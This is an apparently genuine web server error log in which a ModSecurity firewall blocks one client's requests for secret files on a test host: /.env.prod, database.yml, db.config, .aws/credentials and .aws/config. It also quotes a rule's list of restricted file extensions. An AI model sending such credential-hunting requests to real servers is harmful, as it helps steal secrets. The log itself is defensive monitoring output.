[Sat May 31 23:23:57.006063 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aDtzbU_7v63ITAiL1uihUQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod
[Sat May 31 23:23:57.006374 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aDtzbU_7v63ITAiL1uihUQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod
[Sat May 31 23:23:57.006550 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aDtzbU_7v63ITAiL1uihUQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod
[Sat May 31 23:23:59.728428 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aDtzb0_7v63ITAiL1uihWAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/database.yml
[Sat May 31 23:23:59.728719 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aDtzb0_7v63ITAiL1uihWAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/database.yml
[Sat May 31 23:23:59.728909 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aDtzb0_7v63ITAiL1uihWAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/database.yml
[Sat May 31 23:24:00.059780 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aDtzcE_7v63ITAiL1uihWQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/database.yml
[Sat May 31 23:24:00.060076 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aDtzcE_7v63ITAiL1uihWQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/database.yml
[Sat May 31 23:24:00.060278 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aDtzcE_7v63ITAiL1uihWQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/database.yml
[Sat May 31 23:24:05.078665 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.config&quot;] [unique_id &quot;aDtzdU_7v63ITAiL1uihZgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/db.config
[Sat May 31 23:24:05.079139 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.config&quot;] [unique_id &quot;aDtzdU_7v63ITAiL1uihZgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/db.config
[Sat May 31 23:24:05.079326 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.config&quot;] [unique_id &quot;aDtzdU_7v63ITAiL1uihZgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/db.config
[Sat May 31 23:24:05.410484 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.config&quot;] [unique_id &quot;aDtzdU_7v63ITAiL1uihZwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/db.config
[Sat May 31 23:24:05.410901 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.config&quot;] [unique_id &quot;aDtzdU_7v63ITAiL1uihZwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/db.config
[Sat May 31 23:24:05.411096 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.config&quot;] [unique_id &quot;aDtzdU_7v63ITAiL1uihZwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/db.config
[Sat May 31 23:24:08.134838 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDtzeE_7v63ITAiL1uihbgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Sat May 31 23:24:08.135111 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDtzeE_7v63ITAiL1uihbgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Sat May 31 23:24:08.135310 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDtzeE_7v63ITAiL1uihbgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Sat May 31 23:24:08.466150 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDtzeE_7v63ITAiL1uihbwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Sat May 31 23:24:08.466484 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDtzeE_7v63ITAiL1uihbwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Sat May 31 23:24:08.466669 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDtzeE_7v63ITAiL1uihbwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Sat May 31 23:24:08.897860 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aDtzeE_7v63ITAiL1uihcAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/config
[Sat May 31 23:24:08.898140 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aDtzeE_7v63ITAiL1uihcAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/config
[Sat May 31 23:24:08.898359 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aDtzeE_7v63ITAiL1uihcAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/config
[Sat May 31 23:24:09.229078 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aDtzeU_7v63ITAiL1uihcQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/config
[Sat May 31 23:24:09.229364 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aDtzeU_7v63ITAiL1uihcQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/config
[Sat May 31 23:24:09.229553 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aDtzeU_7v63ITAiL1uihcQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/config
[Sat May 31 23:24:09.661820 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.json&quot;] [unique_id &quot;aDtzeU_7v63ITAiL1uihcgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.json
[Sat May 31 23:24:09.662090 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.json&quot;] [unique_id &quot;aDtzeU_7v63ITAiL1uihcgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.json
[Sat May 31 23:24:09.662336 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.json&quot;] [unique_id &quot;aDtzeU_7v63ITAiL1uihcgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.json
